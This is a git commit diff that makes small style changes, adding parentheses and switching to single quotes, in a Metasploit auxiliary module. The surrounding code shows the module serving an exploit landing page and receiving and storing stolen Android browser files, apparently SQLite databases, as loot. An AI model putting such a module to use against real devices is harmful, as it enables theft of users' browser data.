Use parenthesis
parent
ccd0712d43
commit
9b240e1d8f
|
@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
process_post(cli, request)
|
process_post(cli, request)
|
||||||
send_response_html(cli, '')
|
send_response_html(cli, '')
|
||||||
else
|
else
|
||||||
print_status("Sending exploit landing page...")
|
print_status('Sending exploit landing page...')
|
||||||
send_response_html(cli, exploit_html)
|
send_response_html(cli, exploit_html)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
data = JSON.parse(request.body)
|
data = JSON.parse(request.body)
|
||||||
contents = hex2bin(data['data'])
|
contents = hex2bin(data['data'])
|
||||||
file = File.basename(data['url'])
|
file = File.basename(data['url'])
|
||||||
print_good "File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}"
|
print_good("File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}")
|
||||||
loot_path = store_loot(
|
loot_path = store_loot(
|
||||||
file,
|
file,
|
||||||
'application/x-sqlite3',
|
'application/x-sqlite3',
|
||||||
|
@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
File.basename(data['url']),
|
File.basename(data['url']),
|
||||||
"#{cli.peerhost.ljust(16)} Android browser file"
|
"#{cli.peerhost.ljust(16)} Android browser file"
|
||||||
)
|
)
|
||||||
print_good "Saved to: #{loot_path}"
|
print_good("Saved to: #{loot_path}")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue